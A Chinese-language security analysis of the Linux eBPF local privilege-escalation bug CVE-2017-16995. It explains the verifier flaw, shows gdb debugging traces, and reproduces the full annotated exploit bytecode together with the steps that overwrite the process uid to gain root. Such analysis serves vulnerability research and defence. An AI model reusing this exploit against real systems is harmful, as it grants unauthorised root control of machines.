【原创】深入分析Ubuntu本地提权漏洞CVE-2017-16995
*本文首发阿里云先知安全技术社区，原文链接https://xz.aliyun.com/t/2212
前言：
2018年3月中旬，Twitter 用户 @Vitaly Nikolenko 发布消息，称 ubuntu 最新版本（Ubuntu 16.04）存在高危的本地提权漏洞，而且推文中还附上了 EXP 下载地址。
由于该漏洞成功在aws Ubuntu镜像上复现，被认为是0DAY，引起了安全圈同学们的广泛关注。大体浏览了 一下exp代码，发现利用姿势很优雅，没有ROP，没有堆，没有栈，比较感兴趣，不过等了几天也没发现有详细的漏洞分析，正好赶上周末，便自己跟了一下：）
经过一番了解发现这个漏洞并不是什么0DAY，最早是去年12月21号Google Project Zero团队的Jann Horn发现并报告的，编号为CVE-2017-16995，作者在报告该漏洞的时候附了一个DOS的POC。另外，最早公开发布可成功提权exploit也不是Vitaly Nikolenko，而是Bruce Leidl，其在12月21号就把完整的提权exploit公布到了github上，地址：https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c。
技术分析
eBPF简介
众所周知，linux的用户层和内核层是隔离的，想让内核执行用户的代码，正常是需要编写内核模块，当然内核模块只能root用户才能加载。而BPF则相当于是内核给用户开的一个绿色通道：BPF（Berkeley Packet Filter）提供了一个用户和内核之间代码和数据传输的桥梁。用户可以用eBPF指令字节码的形式向内核输送代码，并通过事件（如往socket写数据）来触发内核执行用户提供的代码；同时以map（key，value）的形式来和内核共享数据，用户层向map中写数据，内核层从map中取数据，反之亦然。BPF设计初衷是用来在底层对网络进行过滤，后续由于他可以方便的向内核注入代码，并且还提供了一套完整的安全措施来对内核进行保护，被广泛用于抓包、内核probe、性能监控等领域。BPF发展经历了2个阶段，cBPF（classic BPF）和eBPF（extend BPF），cBPF已退出历史舞台，后文提到的BPF默认为eBPF。
eBPF虚拟指令系统
eBPF虚拟指令系统属于RISC，拥有10个虚拟寄存器，r0-r10，在实际运行时，虚拟机会把这10个寄存器一一对应于硬件CPU的10个物理寄存器，以x64为例，对应关系如下：
R0 – rax
R1 - rdi
R2 - rsi
R3 - rdx
R4 - rcx
R5 - r8
R6 - rbx
R7 - r13
R8 - r14
R9 - r15
R10 – rbp（帧指针，frame pointer）
每一条指令的格式如下：
struct bpf_insn { __u8 code; /* opcode */ __u8 dst_reg:4; /* dest register */ __u8 src_reg:4; /* source register */ __s16 off; /* signed offset */ __s32 imm; /* signed immediate constant */ };
如一条简单的x86赋值指令：mov eax,0xffffffff,对应的BPF指令为：BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF)，其对应的数据结构为：
#define BPF_MOV32_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM })
其在内存中的值为：\xb4\x09\x00\x00\xff\xff\xff\xff。
关于BPF指令系统此处就不再赘述，只要明确以下两点即可：1.其为RISC指令系统，也就是说每条指令大小都是一样的；2.其虚拟的10个寄存器一一对应于物理cpu的寄存器，且功能类似，比如BPF的r10寄存器和rbp一样指向栈，r0用于返回值。
BPF的加载过程
一个典型的BPF程序流程为：
1. 用户程序调用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申请创建一个map，在attr结构体中指定map的类型、大小、最大容量等属性。
2. 用户程序调用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))来将我们写的BPF代码加载进内核，attr结构体中包含了指令数量、指令首地址指针、日志级别等属性。在加载之前会利用虚拟执行的方式来做安全性校验，这个校验包括对指定语法的检查、指令数量的检查、指令中的指针和立即数的范围及读写权限检查，禁止将内核中的地址暴露给用户空间，禁止对BPF程序stack之外的内核地址读写。安全校验通过后，程序被成功加载至内核，后续真正执行时，不再重复做检查。
3. 用户程序通过调用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)将我们写的BPF程序绑定到指定的socket上。Progfd为上一步骤的返回值。
4. 用户程序通过操作上一步骤中的socket来触发BPF真正执行。
BPF的安全校验
Bpf指令的校验是在函数do_check中，代码路径为kernel/bpf/verifier.c。do_check通过一个无限循环来遍历我们提供的bpf指令，
理论上虚拟执行和真实执行的执行路径应该是完全一致的。如果步骤2安全校验过程中的虚拟执行路径和步骤4 bpf的真实执行路径不完全一致的话，会怎么样呢？看下面的例子：
1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
3.BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
4.BPF_EXIT_INSN()
5.……
第一条指令是个简单的赋值语句，把0xFFFFFFFF这个值赋值给r9.
第二条指令是个条件跳转指令，如果r9等于0xFFFFFFFF，则退出程序，终止执行；如果r9不等于0xFFFFFFFF，则跳过后面2条执行继续执行第5条指令。
虚拟执行的时候，do_check检测到第2条指令等式恒成立，所以认为BPF_JNE的跳转永远不会发生，第4条指令之后的指令永远不会执行，所以检测结束，do_check返回成功。
真实执行的时候，由于一个符号扩展的bug，导致第2条指令中的等式不成立，于是cpu就跳转到第5条指令继续执行，这里是漏洞产生的根因，这4条指令，可以绕过BPF的代码安全检查。既然安全检查被绕过了，用户就可以随意往内核中注入代码了，提权就水到渠成了：先获取到task_struct的地址，然后定位到cred的地址，然后定位到uid的地址，然后直接将uid的值改为0，然后启动/bin/bash。
漏洞分析
下面结合真实的exp来动态分析一下漏洞的执行过程。
Vitaly Nikolenko公布的这个exp，关键代码就是如下这个prog数组：
这个数组就是BPF的指令数据，想要搞清楚exp的机理，首先要把这堆16进制数据翻译成BPF指令，翻译结果如下：
bytes="\xb4\x09\x00\x00\xff\xff\xff\xff"\ #BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */ "\x55\x09\x02\x00\xff\xff\xff\xff"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */ "\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN() "\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9=mapfd */ "\x00\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MAP_GET(0, BPF_REG_6) r6=op，取map的第1个元素放到r6 "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ "\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0), /* *(u32 *)(fp - 4) = idx */ "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ #BPF_MAP_GET(1, BPF_REG_7) r7=address，取map的第2个元素放到r7 "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ "\x62\x0a\xfc\xff\x01\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = idx */ "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x79\x07\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r7), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ #BPF_MAP_GET(2, BPF_REG_8) r8=value，取map的第3个元素放到r8 "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ "\x62\x0a\xfc\xff\x02\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = idx */ "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x79\x08\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r8), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ "\xbf\x02\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */ "\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */ "\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op == 0) */ "\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), "\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), "\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), "\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x7b\x87\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
在do_check上打个断点，编译运行，成功断了下来，先看一下调用栈：
(gdb) bt #0 do_check (env=0xffff880078190000) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:1724 #1 0xffffffff8117c057 in bpf_check (prog=0xffff880034003e10, attr=<optimized out>) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:2240 #2 0xffffffff81178631 in bpf_prog_load (attr=0xffff880034003ee0) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:679 #3 0xffffffff81178d3a in SYSC_bpf (size=48, uattr=<optimized out>, cmd=<optimized out>) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:783 #4 SyS_bpf (cmd=5, uattr=140722476394128, size=48) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:725 #5 0xffffffff8184efc8 in entry_SYSCALL_64 () at /build/linux-fQ94TU/linux-4.4.0/arch/x86/entry/entry_64.S:193 #6 0x0000000000000001 in irq_stack_union () #7 0x0000000000000000 in ?? () (gdb)
首先看第一条赋值语句BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF)，do_check中最终的赋值语句如下：
其中dst_reg为虚拟执行过程中的寄存器结构体，结构体定义如下：
可以看到该结构体有2个字段，第一个为type，代表寄存器数据的类型，此处为CONST_IMM，CONST_IMM的值为8.另外一个为常量立即数的具体数值，可以看到类型为int有符号整形。
我们在此处下断点，可以看到具体的赋值过程，如下:
(gdb) x/10 $rip-4 0xffffffff8117b0ac <do_check+5548>: mov DWORD PTR [rsi+rax*1+0x8],edx => 0xffffffff8117b0b0 <do_check+5552>: jmp 0xffffffff8117a38c <do_check+2188> 0xffffffff8117b0b5 <do_check+5557>: mov rdi,QWORD PTR [rsp+0x38] 0xffffffff8117b0ba <do_check+5562>: mov rdx,rax 0xffffffff8117b0bd <do_check+5565>: movzx esi,al 0xffffffff8117b0c0 <do_check+5568>: and edx,0x18 0xffffffff8117b0c3 <do_check+5571>: mov rdx,QWORD PTR [rdx-0x7e5db140] 0xffffffff8117b0ca <do_check+5578>: movzx ecx,BYTE PTR [rdi+0x1] 0xffffffff8117b0ce <do_check+5582>: movsx r8d,WORD PTR [rdi+0x2] 0xffffffff8117b0d3 <do_check+5587>: mov r9d,DWORD PTR [rdi+0x4] (gdb) i r $edx edx 0xffffffff -1 (gdb) x/10x $rsi+$rax 0xffff8800781930a8: 0x00000008 0x00000000 0xffffffff 0x00000000 0xffff8800781930b8: 0x00000006 0x00000000 0x00000000 0x00000000 0xffff8800781930c8: 0x00000000 0x00000000 (gdb)
$rsi+$rax处即为reg_state结构体，可以看到第一个字段为8，第二个字段为0Xffffffff。
然后我们跟进第二条指令中的比较语句BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2)，do_check检测到跳转类指令时，根据跳转类型进入不通的检测分支，此处是JNE跳转，进入check_cond_jmp_op分支，如下图:
Do_check在校验条件类跳转指令的时候，会判断条件是否成立，如果是非确定性跳转的话，就说明接下来2个分支都有可能执行（分支A和分支B），这时do_check会把下一步需要跳转到的指令编号（分支B）放到一个临时栈中备用，这样当前指令顺序校验（分支A）过程中遇到EXIT指令时，会从临时栈中取出之前保存的下一条指令的序号（分支B）继续校验。如果跳转指令恒成立的话，就不会再往临时栈中放入分支B，因为分支B永远不会执行，如下图：
第一个红框即为虚拟寄存器中的imm与指令中提供的imm进行比较，这两个类型如下：
可以看到等号两侧的数据类型完全一致，都为有符号整数，所以此处条件跳转条件恒成立，不会往临时栈中push分支B指令编号。
接下来看BPF_EXIT_INSN()，刚才提到在校验EXIT指令时，会从临时栈中尝试取指令（调用pop_stack函数），如果临时栈中有指令，那就说明还有其他可能执行到的分支，需要继续校验，如果取不到值，表示当前这条EXIT指令确实是BPF程序最后一条可以执行到的指令，此时pop_stack会返回-1，然后break跳出do_check校验循环，do_check执行结束，校验通过，如下图：
跟进pop_stack，如下图：
实际执行过程如下：
(gdb) x/10i $rip => 0xffffffff81178f29 <pop_stack+9>: test r8,r8 //此处判断env->head是否为NULL 0xffffffff81178f2c <pop_stack+12>: je 0xffffffff81178fb4 <pop_stack+148> //为NULL时，跳转到0xffffffff81178fb4 0xffffffff81178f32 <pop_stack+18>: push rbp 0xffffffff81178f33 <pop_stack+19>: mov rax,rsi 0xffffffff81178f36 <pop_stack+22>: lea rcx,[rdi+0x18] 0xffffffff81178f3a <pop_stack+26>: mov rdx,rdi 0xffffffff81178f3d <pop_stack+29>: lea rdi,[rdi+0x20] 0xffffffff81178f41 <pop_stack+33>: mov rbp,rsp 0xffffffff81178f44 <pop_stack+36>: push r13 0xffffffff81178f46 <pop_stack+38>: push r12 (gdb) i r $r8 r8 0x0 0 (gdb) x/10i 0xffffffff81178fb4 0xffffffff81178fb4 <pop_stack+148>: mov eax,0xffffffff //pop_stack返回-1 0xffffffff81178fb9 <pop_stack+153>: ret //pop_stack返回-1 0xffffffff81178fba: nop WORD PTR [rax+rax*1+0x0] 0xffffffff81178fc0 <verbose>: nop DWORD PTR [rax+rax*1+0x0] 0xffffffff81178fc5 <verbose+5>: push rbp 0xffffffff81178fc6 <verbose+6>: mov rbp,rsp 0xffffffff81178fc9 <verbose+9>: sub rsp,0x50 0xffffffff81178fcd <verbose+13>: mov rax,QWORD PTR gs:0x28 0xffffffff81178fd6 <verbose+22>: mov QWORD PTR [rsp+0x18],rax 0xffffffff81178fdb <verbose+27>: xor eax,eax (gdb)
到此为止我们了解了BPF的校验过程，这个exp一共有41条指令，BPF只校验了4条指令，然后返回校验成功。
接下来我们继续跟进BPF指令的执行过程，对应的代码如下（路径为kernel/bpf/core.c）：
其中DST为目标寄存器，IMM为立即数，我们跟进DST的定义：
跟进IMM的定义：
很明显，等号两边的数据类型是不一致的，所以导致这里的条件跳转语句的结果完全相反，以下为实际执行过程：
(gdb) x/10i $rip => 0xffffffff8117731f <__bpf_prog_run+2191>: cmp QWORD PTR [rbp+rax*8-0x270],rdx 0xffffffff81177327 <__bpf_prog_run+2199>: je 0xffffffff81177d8a <__bpf_prog_run+4858> 0xffffffff8117732d <__bpf_prog_run+2205>: movsx rax,WORD PTR [rbx+0x2] 0xffffffff81177332 <__bpf_prog_run+2210>: lea rbx,[rbx+rax*8+0x8] 0xffffffff81177337 <__bpf_prog_run+2215>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff8117733c <__bpf_prog_run+2220>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff81177340 <__bpf_prog_run+2224>: mov edx,eax 0xffffffff81177342 <__bpf_prog_run+2226>: shr dl,0x4 0xffffffff81177345 <__bpf_prog_run+2229>: and edx,0xf 0xffffffff81177348 <__bpf_prog_run+2232>: cmp QWORD PTR [rbp+rdx*8-0x270],0x0 (gdb) i r $rdx rdx 0xffffffffffffffff -1 (gdb) x/10x (rbp+rax*8-0x270) No symbol "rbp" in current context. (gdb) x/10x ($rbp+$rax*8-0x270) 0xffff880076143a78: 0xffffffff 0x00000000 0x76143c88 0xffff8800 0xffff880076143a88: 0x00000001 0x00000000 0x00000001 0x01000000 0xffff880076143a98: 0x746ee000 0xffff8800 (gdb)
等号两边的值完全不一样，这里的跳转条件成立，会往后跳2条指令继续执行，和虚拟执行的过程相反。
接下来就是分析exp里面的BPF指令了，通过自定义BPF指令，我们可以绕过安全校验实现任意内核指针泄露，任意内核地址读写。
构造一下攻击路径：
1.申请一个MAP，长度为3；
2.这个MAP的第一个元素为操作指令，第2个元素为需要读写的内存地址，第3个元素用来存放读取到的内容。此时这个MAP相当于一个CC，3个元素组成一个控制指令。
3.组装一个指令，读取内核的栈地址。根据内核栈地址获取到current的地址。
4.读current结构体的第一个成员，或得task_struct的地址，继而加上cred的偏移得到cred地址，最终获取到uid的地址。
5.组装一个写指令，向上一步获取到的uid地址写入0.
6.启动新的bash进程，该进程的uid为0，提权成功。
Exp中就是按照如上的攻击路径来提权的，申请完map之后，首先发送获取内核栈地址的指令，如下：
bpf_update_elem(0, 0);
bpf_update_elem(1, 0);
bpf_update_elem(2, 0);
然后通过调用writemsg触发BPF程序运行，BPF会进入如下分支：
"\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9=mapfd */ #BPF_MAP_GET(0, BPF_REG_6) r6=op "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ "\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0), /* *(u32 *)(fp - 4) = idx */ "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
之前提到过，BPF的r10寄存器相当于x86_64的rbp，是指向内核栈的，所以这里第一行指令将map的标识放到r9，第二条指令将r9放到r1，作为后续调用BPF_FUNC_map_lookup_elem函数的第一个参数，第三条指令将内核栈指针赋值给r2，第四条指令在栈上开辟4个字节的空间，第五条指令将map元素的序号放到r2，第六条指令取map中第r2个元素的值并把返回值存入r0，第七条指令判断BPF_FUNC_map_lookup_elem有没有执行成功，r0=0则未成功。成功后执行第9条指令，将取到的值放到r6中。继续依次往下执行，直到执行到下面的路径：
"\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op == 0) */ "\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), "\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), "\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), "\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
判断r6是否为0，为0说明是取栈地址的指令，这时会往下跳3条指令，继续执行第7条指令，将r10的内容写入r2，由于在执行第30条指令时r0指向map中的第二个元素，所以这时r2也指向这个元素，然后用户层通过get_value(2)取到了内核栈的地址，我们通过给BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0)下断点，可以看到过程如下：
(gdb) x/20i 0xffffffff8117788b 0xffffffff8117788b <__bpf_prog_run+3579>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff8117788f <__bpf_prog_run+3583>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff81177894 <__bpf_prog_run+3588>: add rbx,0x8 0xffffffff81177898 <__bpf_prog_run+3592>: mov rcx,rax 0xffffffff8117789b <__bpf_prog_run+3595>: shr al,0x4 0xffffffff8117789e <__bpf_prog_run+3598>: and ecx,0xf 0xffffffff811778a1 <__bpf_prog_run+3601>: and eax,0xf 0xffffffff811778a4 <__bpf_prog_run+3604>: mov rcx,QWORD PTR [rbp+rcx*8-0x270] 0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4] 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx 0xffffffff811778dd <__bpf_prog_run+3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778e2 <__bpf_prog_run+3666>: lfence (gdb) i r $rax rax 0xffff8800758c3c88 -131939423208312 (gdb)
其中rax的值0xffff8800758c3c88即为泄露的内核栈地址（其实应该称为帧指针更准确）。
然后通过经典的addr & ~(0x4000 - 1)获取到current结构体的起始地址0xffff8800758c0000，然后构造读数据的map指令去读current中偏移为0的指针值（即为指向task_struct的指针）：
bpf_update_elem(0, 0);
bpf_update_elem(1, 0xffff8800758c0000);
bpf_update_elem(2, 0);
其中addr为当前线程current的值0xffff8800758c0000，这样可以得到task_struct的地址，
过程如下：
(gdb) x/10i $rip-20 0xffffffff811778a4 <__bpf_prog_run+3604>: mov rcx,QWORD PTR [rbp+rcx*8-0x270] 0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4] 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270] (gdb) i r $rax rax 0xffff880074343c00 -131939445752832 (gdb) x/10x 0xffff8800758c0000 0xffff8800758c0000: 0x74343c00 0xffff8800 0x00000008 0x00000000 0xffff8800758c0010: 0x00000001 0x00000000 0xfffff000 0x00007fff 0xffff8800758c0020: 0x00000000 0x00000000 (gdb)
其中rax的值即为指向task_struct的指针，可以看到和current结构体的第一个成员的值是一致的，都是0xffff880074343c00。
得到task_struct地址之后，加上cred的偏移CRED_OFFSET=0x5f8（由于内核版本不通或者内核的编译选项不同，都可能导致cred在task_struct中的偏移不同），组装读取指令取读取指向cred结构体的指针地址：
bpf_update_elem(0, 2);
bpf_update_elem(1, 0xffff880074343c00+0x5f8);
bpf_update_elem(2, 0);
过程如下：
(gdb) x/10i $rip => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4] 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx 0xffffffff811778dd <__bpf_prog_run+3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778e2 <__bpf_prog_run+3666>: lfence (gdb) i r $rax rax 0xffff880074cb5e00 -131939435848192 (gdb) p (struct task_struct *)0xffff880074343c00 $15 = (struct task_struct *) 0xffff880074343c00 (gdb) p ((struct task_struct *)0xffff880074343c00)->cred $16 = (const struct cred *) 0xffff880074cb5e00 (gdb) p &((struct task_struct *)0xffff880074343c00)->cred $17 = (const struct cred **) 0xffff8800743441f8 (gdb) x/10x 0xffff880074343c00+0x5f8 0xffff8800743441f8: 0x74cb5e00 0xffff8800 0x00707865 0x65742d00 0xffff880074344208: 0x6e696d72 0x002d6c61 0x00000000 0x00000000 0xffff880074344218: 0x00000000 0x00000000 (gdb)
上图中rax的值0xffff880074cb5e00即为从task_struct中读取到的指向cred的指针。
cred的地址得到了，再加上uid在cred中的偏移（固定为4）便得到了uid的地址0xffff880074cb5e04，然后构造写数据的map指令：
bpf_update_elem(0, 2);
bpf_update_elem(1, 0xffff880074cb5e04);
bpf_update_elem(2, 0);
过程如下（由于第一次运行exp的时候，这里没断下来，所以下面的过程是第二次运行的过程，中间一些结构体的地址发生了稍微的变化）：
(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid $38 = {val = 1000} //此时uid还是1000 (gdb) ni 0xffffffff811778ac 856 LDST(DW, u64) (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid $39 = {val = 1000} (gdb) ni 0xffffffff811778b4 856 LDST(DW, u64) (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid $40 = {val = 1000} (gdb) ni Thread 1 hit Breakpoint 13, 0xffffffff811778b8 in __bpf_prog_run (ctx=0xffff8800746c9d80, insn=0xffffc900005b5168) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/core.c:856 856 LDST(DW, u64) (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid $41 = {val = 0} //此时uid已经变为0 